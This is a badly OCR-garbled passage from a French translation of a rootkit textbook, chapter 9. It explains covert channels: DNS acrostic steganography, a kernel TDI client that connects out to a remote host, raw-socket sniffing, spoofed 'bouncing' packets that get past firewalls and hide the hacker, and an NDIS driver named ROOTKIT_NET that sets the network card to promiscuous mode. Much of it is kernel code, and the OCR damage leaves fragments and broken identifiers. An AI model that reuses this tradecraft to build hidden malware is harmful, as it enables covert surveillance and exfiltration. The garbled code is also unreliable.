Requte pour :
electric.google.c
om
Requte pour :
turnkey.google.co
m
En-tte En-tte
TCP/IP DNS
En-tte
TCP/IP
En-tte
TCP/IP
En-tte
DNS
En-tte
DNS
Figure 9.1
U n e srie de requtes DNS utilises pour coder un acrostiche. La premire lettre des noms
DNS sert reconstituer le message secret.
Cet exemple fonctionne mais il est quelque peu simpliste. Dans la ralit, il faudrait
dabord chiffrer le message puis recourir la stganographie pour offrir deux niveaux
de protection de sorte que, mme si le message venait tre dcod, il serait encore
chiffr.
Notre exemple de conception ncessite une base de donnes de noms DNS, chacun
correspondant un octet ASCII diffrent1. Il pourrait tre amlior en utilisant des
noms DNS qui reprsentent chacun plus dun caractre chiffr afin que chaque requte
DNS puisse transporter plusieurs caractres du message.
1. La base de noms de sites Web pourrait tre cre la vole en interceptant les autres requtes DNS
lgitimes sur le rseau.
262 Rootkits
1. Steghide (http://steghide.sourceforge.net).
2. D. Opacki, ECHOART. disponible sur http://mirrorl.internap.com/echoart.
3. Daemon9 et Alhambra, "Project Loki: ICMP Tunneling", PhrackH, n 49, article 6 (8 novembre 1996),
disponible sur www.phrack.org/phrack/49/P49-06.
4. Voir B. Jack, "Remote Windows Kernel Exploitation: Step into the Ring 0" (Aliso Viejo, Cal. : eEye
Digital Security, 2005), disponible sur www.eeye.com/~data/publish/whitepapers/research/
OT20050205.FILE.pdf.
5. Voir par exemple C. Rowland, "Covert Channels in the TCP/IP Protocol Suite", First Monday/2, n 5 (5
mai 1997), disponible sur www.flrstmonday.org/issues/issue2_5/rowland.
Chapitre 9
est plus furtif mais est aussi plus complexe. Le noyau ne comprend pas autant de
fonctions intgres et oblige dvelopper davantage de code soi-mme. Cette section
couvre principalement la dissimulation dans TCP/IP au niveau du noyau.
Les deux principales interfaces avec le noyau sont TDI et NDIS. TDI prsente
lavantage dutiliser la pile TCP/IP existante sur la machine, ce qui vous vite davoir
crire votre propre pile.
Un pare-feu dhte peut dtecter les communications imbriques dans TCP/IP. Avec
NDIS, vous pouvez lire et crire des paquets bruts sur le rseau et contourner ainsi
certains pare-feu, mais linconvnient est quil vous faut implmenter votre propre pile
TCP/IP pour pouvoir utiliser ce protocole.
264 Rootkits
La premire tape pour programmer un client TDI est de crer une structure dadresse.
Cette structure ressemble beaucoup celles employes dans la programmation de
sockets en mode utilisateur. Dans notre exemple, nous demandons au driver TDI de
crer cette structure pour nous. Si la requte russit, nous rcuprons un handle sur
cette structure. Cette technique est courante dans le dveloppement de drivers.
Pour crer une structure dadresse, nous ouvrons un handle de fichiers vers /device/
tcp en lui passant certains paramtres spciaux. Nous invoquons pour cela la fonction
du noyau ZwCreateFile. Largument le plus important de cet appel est un ensemble
dattributs tendus, ou EA (Extended Attributes) 1, qui nous sert passer des
informations essentielles et uniques au driver (voir Figure 9.2).
Figure 9.2
Driver B
Retourne
un
handle
vers
l'objet
demand
1. Les attributs tendus sont surtout utiliss par les drivers du systme de fichiers.
Chapitre 9
{
ULONG NextEntryOffset ;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1] ;
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
Cest toujours une bonne chose que dutiliser ASSERT pour vrifier le niveau dIRQ
dun appel. Ceci permet la version de debugging de votre driver de signaler une
gestion incorrecte des niveaux dIRQ.
OBJECT_ATTRIBUTES TDI_0bject_Attr;
// Cre les attributs de l'objet
// L'appel doit avoir lieu au niveau d'IRQ PASSIVE_LEVEL
ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL );
InitializeObj ectAttributes(&TDI_0bject_Attr,
&TDI_TransportDeviceName, OBJ_CASE_INSENSITIVE
| OBJ_KERNEL_HANDLE,
0
0
,
);
266 Rootkits
TDI. Cette structure comprend un champ NextEntryOffset qui est dfini zro pour
indiquer que nous envoyons une seule structure dans la requte. Il y a galement un
champ EaName que nous dfinissons avec la constante TDI_TRANS- PORT_ADDRESS. Cette
constante correspond la chane "TransportAddress" dans le fichier den-tte Tdi. h.
Voici la structure FILE_FULL_EA_INFORMATION que nous utilisons :
typedef Struct _FILE_FULL_EA_INFORMATION
{
ULONG NextEntryOffset ;
UCHAR Flags;
UCHAR EaNameLength ;
USHORT EaValueLength;
CHAR EaName[1]; // Dfini avec TDI_TRANSPORT_ADDRESS
// suivi d'une structure TA_IP_ADDRESS.
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
);
est une structure TA_TRANSPORT_ADDRESS qui contient ladresse IP de lhte local
et le port TCP local utiliser pour la connexion. Elle inclut aussi une ou plusieurs
stmctures TDI_ADDRESS_IP. Si vous avez quelques connaissances en programmation de
sockets utilisateur, vous pouvez voir la structure TDI_ADDRESS_IP comme lquivalent
dans le noyau de la structure sockaddr_in.
EaValue
Il est prfrable de laisser le driver sous-jacent choisir le port TCP local, ce qui vous
vite davoir dterminer les ports qui sont dj pris. La seule situation o le port
source doit tre contrl est lorsque la connexion passe par un pare-feu dont les
Chapitre 9
rgles de filtrage peuvent tre contournes en spcifiant un port source spcifique (port
80, 25 ou 53).
Nous oprons un calcul pour pointer vers lemplacement de EaValue afin de pouvoir
crire les donnes. Le pointeur pSin nous facilite les choses. Nous devons veiller
dfinir le champ EaValueLength avec une taille correcte. La structure TA_IP_ADDRESS
ressemble ceci :
typedef struct _TA_ADDRESS_IP {
LONG TAAddressCount;
struct _AddrIp {
USHORT
AddressLength;
USHORT
AddressType;
TDI_ADDRESS_IP Address[1];
} Address [ 1 ] ;
1 TA_IP_ADDRESS, *PTA_IP_ADDRESS;
Pour faire en sorte que le driver sous-jacent choisisse un port source notre place,
nous spcifions 0 comme port source. Pensez fermer vos ports lorsque vous avez
termin, sinon le systme risque den manquer. Nous spcifions galement 0 comme
adresse source pour que le driver sous-jacent renseigne ladresse IP de lhte local
pour nous :
pSin->Address[0].Address[0].sin_port = 0; pSin->Address[0].Address[0].in_addr
= 0;
// Veille ce que le reste de la structure soit zro
memset( pSin->Address[0].Address[0].sin_zero,
0,
sizeof(pSin->Address[0].Address[0].sin_zero)
);
Nous appelons enfin ZwCreateFile. Noubliez pas de toujours vrifier avec ASSERT que
le niveau dIRQ est correct :
NTSTATUS status;
ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL ); status =
ZwCreateFile(
&TDI_Address_Handle,
GENERIC_READ|GENERIC_WRITE|SYNCHRONIZE,
&TDI_0bj ect_Attr,
268 Rootkits
&IoStatus,
0,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ,
FILE_OPEN,
0
pEA_Buffer,
sizeof(EA_Buffer)
);
if(!NT_SUCCESS(status))
{
DbgPrint("Failed to open address object,
status 0x%08X", status);
// A faire : librer les ressources return
STATUSJJNSUCCESSFUL;
Nous rcuprons un handle sur lobjet qui vient dtre cr, que nous utiliserons dans
des appels de fonctions ultrieurs :
ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL ); status =
ObReferenceObjectByHandle(TDI_Address_Handle,
FILE_ANY_ACCESS,
0
KernelMode,
(PVOID *)&pAddrFileObj,
NULL );
Et voil, nous avons cr un objet adresse. Cette opration pourtant simple a ncessit
beaucoup de code, mais ne vous inquitez pas car le processus devient vite une
routine.
Les sections suivantes expliquent comment associer cet objet un point dextrmit et,
pour finir, comment se connecter un serveur.
Chapitre 9
{
DbgPrint("Failed to allocate buffer"); return
STATUS_INSUFFICIENT_RESOURCES;
}
// Utilise le nom TdiConnectionContext qui // est une chane ==
"ConnectionContext". memset(pEA_Buffer, 0, ulBuffer);
pEA_Buffer->NextEntryOffset = 0; pEA_Buffer->Flags = 0;
// N'inclut pas NULL dans la longueur
pEA_Buffer->EaNameLength = TDI_CONNECTION_CONTEXT_LENGTH;
memcpy( pEA_Buffer->EaName,
TdiConnectionContext,
// Inclut NULL dans la copie
pEA_Buffer~>EaNameLength + 1
);
270 Rootkits
Etant donn que nous utilisons une seule connexion, nous navons pas besoin de
garder trace de quoi que ce soit et spcifions donc une valeur de remplissage pour le
contexte :
pEA_Buffer->EaValueLength = sizeof(C0NNECTI0N_C0NTEXT);
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ,
FILE_0PEN,
0,
pEA_Buffer, sizeof(EA_Buffer)
);
if(!NT_SUCCESS(status))
{
DbgPrint("Failed to open endpoint, status 0x%08X", status); //
A faire : librer les ressources return STATUSJJNSUCCESSFUL;
}
Il Rcupre le handle d'objet.
Il Doit s'excuter au niveau PASSIVE_LEVEL.
ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL ); status =
ObReferenceObjectByHandle(
TDI_Endpoint_Handle,
FILE_ANY_ACCESS,
0,
KernelMode,
(PVOID *)&pConnFileObj,
NULL
);
Chapitre 9
Nous disposons prsent dun objet point dextrmit. Nous avons dj cr un objet
adresse locale quil ne nous reste plus qu associer au nouveau point dextrmit.
);
if(NULL==pIrp)
{
DbgPrint( "Could not get an IRP for
TDI_ASSOCIATE_ADDRESS");
return(STATUS_INSUFFICIENT_RESOURCES);
272 Rootkits
{
DbgPrint (''Waiting on IRP (associate) . . . " ) ;
// Doit s'excuter au niveau PASSIVE_LEVEL
ASSERT( KeGetCurrentlrqlO == PASSIVE_LEVEL );
KeWaitForSingleObj ect(
&AssociateEvent,
Executive,
KernelMode,
FALSE, 0);
}
if ( (STATUS_SUCCESS!=status)
&&
(STATUS_PENDING!=StatUS))
{
// Quelque chose ne va pas DbgPrint("IoCallDriver
failed (associate), status 0x%08X", status);
return STATUSJJNSUCCESSFUL;
}
if ((STATUS_PENDING==status)
&&
(STATUS_SUCCESS!=IoStatus.Status))
{
// Quelque chose ne va pas
Chapitre 9
un hte distant
if(NULL==pIrp)
{
DbgPrint("Could not get an IRP for TDI_C0NNECT");
return(STATUS_INSUFFICIENT_RESOURCES);
}
// Initialise la structure d'adresse IP RemotePort
= HTONS(80);
RemoteAddr = INETADDR(192,168,0,10);
RmtIPAddr.TAAddressCount = 1;
RmtIPAddr.Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP;
RmtIPAddr.Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
RmtIPAddr.Address[0].Address[0].sin_port = RemotePort;
RmtIPAddr.Address[0].Address[0].in_addr = RemoteAddr;
RmtNode.UserDataLength = 0;
RmtNode.UserData = 0;
RmtNode.OptionsLength = 0;
RmtNode.Options = 0;
RmtNode.RemoteAddressLength = sizeof(RmtIPAddr);
274 Rootkits
RmtNode.RemoteAddress = &RmtIPAddr;
);
/
/
/
/
/
/
/
/
/
/
/
/
{
DbgPrint("Waiting on IRP (connect)... " );
KeWaitForSingleObj ect(&ConnectEvent,
Executive,
KernelMode, FALSE, 0);
}
if ( (STATUS_SUCCESS!=status)
&&
(STATUS_PENDING!=StatUS))
{
// Quelque chose ne va pas
DbgPrint("IoCallDriver failed (connect), status 0x%08X", status); return
STATUSJJNSUCCESSFUL;
}
if ( (STATUS_PENDING==Status)
&&
(STATUS_SUCCESS!=IoStatus.Status))
Chapitre 9
}
Sachez que ltablissement de la connexion TCP peut prendre un certain temps. Etant
donn que nous pouvons attendre un long moment la survenue de lvnement de
terminaison et que nous ne devrions jamais bloquer le thread lorsque nous arrivons
dans DriverEntry, notre exemple ne conviendrait pas dans un vritable rootkit. Dans
la pratique, il faudrait revoir la conception du driver pour quun thread de travail gre
lactivit TCP.
);
if(NULL==pIrp)
{
DbgPrint(Could not get an IRP for TDI_SEND");
return(STATUS_INSUFFICIENT_RESOURCES) ; Il
276 Rootkits
{
DbgPrint(Could not get an MDL for TDI_SEND);
return(STATUS_INSUFFICIENT_RESOURCES);
}
I l Doit s'excuter au niveau < DISPATCH_LEVEL pour la mmoire paginable.
ASSERT( KeGetCurrentIrql() < DISPATCH_LEVEL );
_ try
{
MmProbeAndLockPages(
pMdl, // Corrige (ou essaie de corriger) le tampon
KernelMode,
IoModifyAccess );
}
_ except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("Exception calling MmProbeAndLockPages");
return STATUS_UNSUCCESSFUL;
}
/*TdiBuildSend(
plrp,
pTcpDevObj,
pConnFileObj,
NULL,
NULL,
pMdl,
0,
normale.
SendBfrLength
//
);
// Dfinit la routine
de terminaison.
// Doit s'excuter au niveau PASSIVE_LEVEL.
ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL );
IoSetCompletionRoutine(
plrp,
TDICompletionRoutine,
&SendEvent, TRUE, TRUE, TRUE);
// Effectue l'appel.
// Doit s'excuter au niveau <= DISPATCH_LEVEL.
ASSERT( KeGetCurrentlrqlf) <= DISPATCH_LEVEL ); //
Envoie la commande au driver TDI sous-jacent
status = IoCallDriver(pTcpDevObj, plrp);
// Attend l'IRP, si ncessaire,
if (STATUS_PENDING==StatUS)
{
DbgPrint("Waiting on IRP (send)..."); KeWaitForSingleObj ect(
Chapitre 9
&SendEvent,
Executive, KernelMode, FALSE, 0);
}
if ( (STATUS_SUCCESS!=Status)
&&
(STATUS_PENDING!=StatUS))
{
I l Quelque chose ne va pas
DbgPrint("IoCallDriver failed (send), status 0x%08X", status);
return STATUS_UNSUCCESSFUL;
}
if ((STATUS_PENDING==Status)
&&
(STATUS_SUCCESS!=IoStatus.Status))
{
// Quelque chose ne va pas
DbgPrint("Completion of IRP failed (send), status 0x%08X",
IoStatus.Status);
return STATUSJJNSUCCESSFUL;
}
La transmission des donnes peut prendre un certain temps. L encore, dans un
vritable driver, vous ne voudriez pas bloquer la routine DriverEntry.
A ce stade, nous avons intgr au rootkit un support de niveau noyau en utilisant TDI.
Cette mthode est commode puisque la couche TDI se charge du protocole TCP/IP
notre place. Linconvnient est quelle nchappe pas facilement la dtection dun
pare-feu dhte. Elle ne nous permet pas non plus doprer une manipulation de bas
niveau des paquets. La section suivante aborde les stratgies de manipulation de
paquets bruts.
278 Rootkits
{
printf("WSAStartup() failed.\n");
exit(-1) ;
}
Vous devez ensuite ouvrir un socket laide dun appel de la fonction socket. Notez
lemploi de la constante S0CK_RAW. Si lappel russit, vous disposez alors dun socket
brut que vous pouvez utiliser pour sniffer des paquets et envoyer des paquets bruts.
SOCKET mySocket = socket(AF_INET, S0CK_RAW, IPPR0T0_IP); if
(mySocket == INVALID_SOCKET)
Chapitre 9
printf("socket() failed.\n");
exit(-1);
{
struct hostent *phe = gethostbyname(ac);
if(phe != NULL)
{
memcpy(&addr,
phe->h_addr_list[0],
sizeof(struct in_addr));
}
}
Une fois que ladresse locale est obtenue, la structure
in d peut tre appel :
sockaddr
{
printf("bind failed.\n"); exit(-1);
280 Rootkits
{
memset(&fromAddr, 0, fromAddrLen);
numBytesRecv = recvfrom(
mySocket, myRecvBuffer,
12000 ,
0,
(struct sockaddr *)&fromAddr, &fromAddrLen);
if (numBytesRecv > 0)
{
// Faire quelque chose avec le paquet
>
else
{
// recvfrom a chou break;
}
}
free(myRecvBuffer) ;
Chapitre 9
{
printf("WSAIoctl() failed.\n");
exit(-1);
}
Aprs cet appel, le socket brut interceptera tous les paquets du rseau,
indpendamment de leur adresse de destination. Notez que, sur les rseaux par
commutation de paquets, tous les paquets en mode broadcast et les paquets
destination de lhte local sont disponibles. Lemploi dun hub rend tous les paquets
disponibles. Une autre solution est de configurer un port tendu (spanned port)' sur le
commutateur.
Lors du dploiement dun rootkit en environnement rel, ces options ne sont toutefois
pas disponibles. Pour espionner le trafic dun hte distant sur le mme sous- rseau,
une solution serait de dtourner le trafic ARP (ARP hijacking)1 2. Le sniffing
"Etherleak" serait aussi une possibilit 3.
Nous disposons maintenant de tous les outils requis pour envoyer et recevoir des
paquets bruts. Voyons maintenant ce quil est possible de faire avec.
1. Un port tendu est un port spcial sur un commutateur qui peut servir sniffer le trafic.
2. Un dtournement ARP permet de capturer du trafic sur un rseau commut et de provoquer le routage des
paquets via un hte interpos. Ce genre dattaque a dj t largement document dans le domaine public.
3. Voir O. Arkin et J. Anderson, "Etherleak: Ethernet Frame Padding Information Leakage".
282 Rootkits
avec une fausse identit, celle du serveur Web. En utilisant le port source et lIP source
corrects, le trafic sera autoris sortir du rseau.
Le rebond de paquets
La dernire mthode de manipulation de paquets bruts que nous couvrirons est celle du
rebond de paquets (bouncing packet), un effet intressant qui peut tre obtenu en
contrlant ladresse IP source. Le rootkit peut fabriquer une adresse IP source
dsignant une machine externe au rseau local. Cette adresse peut appartenir un rel
ordinateur contrl par un hacker quelque part sur Internet. Le rootkit peut alors
envoyer ces paquets falsifis un tiers innocent, tel quun serveur Web. Le serveur
mystifi envoie ses paquets de rponse vers ladresse dorigine (fabrique, lordinateur
du hacker). Cest une forme complique dattaque qui peut permettre un rootkit
denvoyer du trafic dans une direction sans rvler son emplacement1.
Par exemple, un rootkit pourrait envoyer un paquet TCP SYN avec une adresse source
trompeuse. Le paquet pourrait contenir des donnes masques encodes dans le
numro de squence initial. Le serveur Web tiers pourrait rpondre avec un paquet
SYN-ACK, en plaant le numro de squence initial (plus un) dans son paquet. Nous
obtenons l un mcanisme de communication unidirectionnel.
Un autre effet de lattaque par rebond permet de contourner un pare-feu. Si un rootkit
est install sur un rseau trs sensible autorisant du trafic en provenance de certains
htes approuvs seulement, des commandes pourraient tre envoyes par rebond au
rootkit, partir de lun des htes valids. Lemploi dun tiers pour le rebond doit
toutefois tre gr avec prcaution. Parfois, une requte DNS sera rsolue en
rfrenant une ferme dhtes et vous pourriez sans le savoir utiliser plusieurs htes
pour le rebond. Pour viter ce problme, il faut soit utiliser uniquement ladresse IP de
lhte cibl ou sassurer que le rootkit sait que nimporte lequel de ces htes peut tre
source de donnes. Un autre pige est que certains routeurs et systmes pare-feu
emploient un filtrage de paquet (stateful inspection), auquel cas ils nautoriseront pas
la circulation de ces paquets entrant ou sortant par rebond.
Dans la plupart des cas, ces difficults ne poseront pas de problme. De nombreux
pare-feu procdant de la sorte supposent, lorsquils dtectent un paquet SYN-ACK
mis par rebond, quune connexion valide a t tablie.
1. Naturellement, l'envoi dun trafic bidirectionnel rvlerait lemplacement du hacker. Ladresse cible de la
mthode unidirectionnelle est rvle simplement en examinant ladresse source fabrique.
Chapitre 9
Dclaration du protocole
En premier lieu, vous devez inscrire dans le systme une structure de caractristiques
du protocole. Cela demande lemploi dun argument de liaison spcifiant linterface
(Ethernet, sans-fil, etc.) avec laquelle vous travaillerez, que lon appelle parfois aussi
interface MAC. Dans notre exemple, nous codons en dur cet argument et nous
donnons notre protocole le nom ROOTKIT_NET :
#include "ntddk.h"
// Important ! Placez ceci avant ndis.h.
#define NDIS40 1
#include "ndis.h"
#include "stdio.h"
struct UserStruct
{
ULONG mData;
} gUserStruct;
// handle pour l'interface rseau ouverte
NDISJHANDLE
gAdapterHandle;
NDIS_HANDLE
gNdisProtocolHandle;
NDIS_EVENT
gCloseWaitEvent;
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
UINT
aMediumlndex = 0;
NDIS_STATUS
aStatus, anErrorStatus;
// Nous n'essayons que 802.3
NDIS_MEDIUM
aMediumArray=NdisMedium802_3;
284 Rootkits
UNICODE_STRING anAdapterName;
NDIS_PROTOCOL_CHARACTERISTICS aProtOCOlChar;
NDIS_STRING
aProtoName = NDIS_STRING_CONST("R00TKIT_NET");
DbgPrint("ROOTKIT Loading...");
Vous pouvez obtenir la liste des interfaces utilisables laide de lune des deux cls de
registre suivantes :
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards
HKLM\SY STEM\CurrentControlSet\Services\TcpIp\Linkage
Par exemple, lun de nos systmes de test possde les liaisons suivantes :
\Device\{6C0B978B-812D-4621-A30B-FD72F6C446AF} ORiNOCO Wireless LAN **-PC Card
(5 volt)
\Device\{E30AAA3E-044E-40D3-A8FE-64CC01F2B9B5}
\Device\{5436B920-2709-4250-918D-B4ED3BB8CF9A}
Dell TrueMobile
o*-1150 Sris Wireless LAN Mini PCI Card
\Device\{5A6C6428-C5F2-4BA5-A469-49F607B369F2}
1394 Net Adapter
\Device\{357AC276-D8E7-47BF-954D-F3123D3319BD} 3Com 3C920 Integrated **-Fast
Ethernet Controller (3C905C-TX Compatible)
\Device\{6D615BDB-A6C2-471D-992E-4C0B431334F1}
1394 Net Adapter
\Device\{83EE41D0-5088-4CC7-BC99-CEA55D5662D2} 3Com 3C920 Integrated **Fast
Ethernet Controller (3C905C-TX Compatible)
\Device\NdisWanIp
\Device\{147E65D7-4065-4249-8679-F79DB39CFC27}
\Device\{6AB35A1D-6D0B-45CA-9F1C-CD125F950D6F}
Nous initialisons ensuite la structure des caractristiques de protocole. Elle inclut une
srie de pointeurs de fonctions qui doivent tre initialiss. Ces pointeurs spcifient des
fonctions de callback pour une varit dvnements qui se produiront. Il y a de
nombreux vnements, mais celui qui nous intresse particulirement se produit
lorsquun paquet arrive du rseau. Cest de cette manire que nous pouvons sniffer le
trafic. Chacune de nos fonctions de callback est nomme selon le format suivant :
OnXXX et OnXXXDone, o XXX est un nom relatif lvnement concern.
Chapitre 9
/ / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / ////////////// / / / / / / / / / / / / /
////
I l Initialisation du sniffen de rseau Une procdure standard
I l et documente dans le DDK.
////////////////////////////////////////
//////////////////////
RtlZeroMemory( &aProtocolChar,
//
Sizeof(NDIS_PROTOCOL_CHARACTERISTICS)
aProtocolChan.MajorNdisVersion
aProtocolChar.MinorNdisVersion
aProtocolChar.Reserved
= 0;
aProtocolChar.OpenAdaptenCompleteHand1er
= OnOpenAdapterDone;
aProtocolChar.CloseAdapterCompleteHandle
r = OnCloseAdapterDone;
aProtocolChar.SendCompleteHandler
= OnSendDone;
aProtocolChar.TransferDataCompleteHandle
r = OnTransferDataDone;
aProtocolChar.ResetCompleteHandler
OnResetDone;
aProtocolChar.RequestCompleteHandler
OnRequestDone;
aProtocolChar.ReceiveHandler
OnReceiveStub;
aProtocolChar.ReceiveCompleteHandler
OnReceiveDoneStub;
aProtocolChar.StatusHandler
OnStatus;
aProtocolChar.StatusCompleteHandler
OnStatusDone;
aProtocolChar.Name
aProtoName;
aProtocolChar.BindAdapterHandler
OnBindAdapter;
aProtocolChar.UnbindAdapterHand1er
OnUnbindAdapter;
aProtocolChar.UnloadHandler
OnProtocolUnload;
aProtocolChar.ReceivePacketHandler
OnReceivePacket;
aProtocolChar.PnPEventHandler
OnPNPEvent;
DbgPrint("ROOTKIT: Registering NDIS Protocol\n);
{
char _t[255];
_snprintf(_t, 253,DriverEntry: ERROR
NdisRegisterProtocol failed with
error 0x%08X", aStatus);
DbgPrint(_t); return aStatus;
}
Si linscription du protocole russit, nous appelons NdisOpenAdapter. Cette fonction
nous connecte linterface spcifie. Une fois lappel ralis, les fonctions de
286 Rootkits
callback commencent tre appeles par la bibliothque NDIS. A partir de cet endroit
du code, nous passons des coulisses la scne.
Notez que NdisOpenAdapter peut retourner un code dtat signifiant "en attente". Il
indique que lopration douverture ne sest pas termine immdiatement. Si ceci se
produit, la bibliothque NDIS appellera notre fonction de callback OnOpenAdap- terDone
seulement lorsque lopration se sera termine. De cette manire, notre code ne se
bloquera jamais. Dun autre ct, si NdisOpenAdapter se termine immdiatement, nous
devons expressment appeler OnOpenAdapterDone.
Cest un point important. Nous devons appeler la version
callback si un appel se termine immdiatement :
XXXDone
dune fonction de
//
//
0
NULL);
// passer MacOpenAdapter
supplmentaires
if (aStatus != NDIS_STATUS_PENOING)
{
if(FALSE == NT_SUCCESS(aStatus))
{
// Un problme s'est produit
ferme tout.
char __ t[255];
_snprintf(_t, 253, "ROOTKIT: NdisOpenAdapter
returned an error 0x%08X", aStatus);
DbgPrint(_t);
// Indicateur utile
if(NDIS_STATUS_ADAPTER_NOT_FOUND == aStatus)
Chapitre 9
DbgPrint("NDIS_STATUS_ADAPTER_NOT_FOUND);
}
I l Supprime le protocole sous peine de plantage avec cran
bleu !
NdisDeregisterProtocol( &aStatus, gNdisProtocolHandle); if(FALSE ==
NT_SUCCESS(aStatus))
{
DbgPrint("DeregisterProtocol failed!");
}
// Utilis pour winCE - NdisFreeEvent(gCloseWaitEvent);
return STATUSJJNSUCCESSFUL;
}
else
{
OnOpenAdapterDone(
&gUserStruct, aStatus,
NDIS_STATUS_SUCCESS
);
return STATUS_SUCCESS;
}
Nous avons vu comment dfinir et inscrire un protocole. Nous pouvons maintenant
tudier le fonctionnement des fonctions de callback qui grent les vnements.
288 Rootkits
NDIS_REQUEST anNdisRequest;
NDIS_STATUS anotherStatus;
ULONG
aMode = NDIS_PACKET_TYPE_PROMISCUOUS;
DbgPrint("ROOTKIT: OnOpenAdapterDone called\n");
if(NT_SUCCESS(OpenErrorStatus))
{
// Place la carte rseau dans le mode promiscuous
anNdisRequest.RequestType = NdisRequestSetlnformation;
anNdisRequest.DATA.SET_INFORMATION.Oid = OID_GEN_CURRENT_PACKET_FILTER;
anNdisRequest.DATA.SET_INFORMATION.InformationBuffer = &aMode;
anNdisRequest.DATA.SET_INFORMATION \
.InformationBufferLength = sizeof(ULONG);
NdisRequest(&anotherStatus, gAdapterHandle,
&anNdisRequest );
}
else
{
char _t[255];
_snprintf(_t, 252, "OnOpenAdapterDone called with
error code 0x%08X",
OpenErrorStatus);
DbgPrint(_t);
}
}
Nous dfinissons ensuite un vnement dans OnCloseAdapterDone pour signaler la
portion restante du driver quand une opration de fermeture se droule. Ceci permet au
rootkit de dterminer sil est ncessaire dattendre que linterface se ferme avant de
dcharger le driver de la mmoire :
VOID
OnCloseAdapterDone( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnCloseAdapterDone called\n");
// Synchronisation avec l'vnement unload NdisSetEvent(&gCloseWaitEvent);
VOID
OnSendDone( IN NDIS_HANDLE ProtocolBindingContext, IN
PNDIS_PACKET pPacket,
IN NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnSendDone called\n");
}
VOID
Chapitre 9
{
DbgPrint("ROOTKIT: OnTransferDataDone called\n);
}
La fonction OnReceiveStub est appele chaque fois quun paquet est intercept.
Largument HeaderBuff er contient un pointeur vers len-tte Ethernet. Largument
LookAheadBuff er peut contenir un pointeur vers le reste du paquet.
Avertissement : il nest pas garanti que le tampon LookAheadBuff er contienne la totalit
du paquet. Vous ne pouvez pas vous appuyer seulement sur ce tampon pour intercepter
des paquets entiers.
Dans notre exemple, nous retournons simplement
indiquer que le paquet ne nous intresse pas :
NDIS_STATUS_NOT_ACCEPTED
{
char _t[255];
UINT aFrameType = 0;
// Indique au debugger le type de trame memcpyf&aFrameType,
( ((char *)HeaderBuffer) + 1 2 ) , 2);
_snprintf(_t, 253, "sniffed frame type %u, packetsize %u", aFrameType,
Packetsize);
DbgPrint(_t);
// Ignore tout
return NDIS_STATUS_NOT_ACCEPTED;
{
DbgPrint("ROOTKIT: OnReceiveDoneStub called\n"); return;
pour
290 Rootkits
{
DbgPrint("ROOTKIT: OnStatus called\n");
return;
VOID OnStatusDone( IN NDIS_HANDLE ProtocolBindingContext )
{
DbgPrint("ROOTKIT:OnStatusDone called\n");
return;
VOID OnResetDone( IN NDIS_HANDLE ProtocolBindingContext, IN
NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnResetDone called\n");
return;
VOID OnRequestDone( IN NDIS_HANDLE ProtocolBindingContext, IN
PNDIS_REQUEST NdisRequest,
IN NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnRequestDone called\n");
return;
}
VOID OnBindAdapter(OUT PNDIS_STATUS theStatus,
IN NDIS_HANDLE theBindContext,
IN PNDIS_STRING theDeviceNameP,
IN PVOID theSSI,
IN PVOID theSS2 )
{
DbgPrint("ROOTKIT: OnBindAdapter called\n");
return;
}
VOID OnUnbindAdapter(OUT PNDIS_STATUS theStatus,
IN NDIS_HANDLE theBindContext,
IN PNDISJHANDLE theUnbindContext )
{
DbgPrint("ROOTKIT: OnUnbindAdapter called\n);
return;
}
NDIS_STATUS OnPNPEvent(IN NDIS_HANDLE
ProtocolBindingContext,
IN PNET_PNP_EVENT pNetPnPEvent)
{
DbgPrint("ROOTKIT: PtPnPHandler called");
Chapitre 9
return NDIS_STATUS_SUCCESS;
}
VOID OnProtocolUnload( VOID )
{
DbgPrint("ROOTKIT: OnProtocolUnload called);
return;
}
INT OnReceivePacket(IN NDIS_HANDLE
ProtocolBindingContext,
IN PNDIS_PACKET Packet )
{
DbgPrint("ROOTKIT: OnReceivePacket called\n");
return 0;
{
NDIS_STATUS Status;
DbgPrint ( "ROOTKIT: OnUnload called\n'');
NdisResetEvent(&gCloseWaitEvent);
NdisCloseAdapter(
&Status,
gAdapterHandle);
// Nous devons attendre que l'opration se termine
//
-------------------------------- ---
if(Status == NDIS_STATUS_PENDING)
{
DbgPrint("rootkit: OnUnload: pending wait event\n");
NdisWaitEventf&gCloseWaitEvent, 0);
}
NdisDeregisterProtocol( &Status, gNdisProtocolHandle);
if(FALSE == NT_SUCCESS(Status))
{
DbgPrint("DeregisterProtocol failed!");
}
// Utilis pour winCE - NdisFreeEvent(gCloseWaitEvent);
DbgPrint("rootkit: OnUnload: NdisCloseAdapter() done\n");
292 Rootkits
gPacketPoolH;
gBufferPoolH;
VOID
OnOpenAdapterDone(IN NDIS_HANDLE IN ProtocolBindingContext,
NDIS_STATUS IN Status,
NDIS_STATUS
OpenErrorStatus )
{
NDIS_STATUS
NDIS_REQUEST
NDIS_STATUS
ULONG
{
// Place la carte dans le mode promiscuous
anNdisRequest.RequestType = NdisRequestSetlnformation;
anNdisRequest.DATA.SET_INFORMATION.Oid =
OID_GEN_CURRENT_PACKET_FILTER;
anNdisRequest.DATA.SET_INFORMATION.InformationBuffer = &aMode;
anNdisRequest.DATA.SET_INFORMATION. \
InformationBufferLength = sizeof(ULONG);
NdisRequest( &anotherStatus,
gAdapterHandle,
&anNdisRequest );
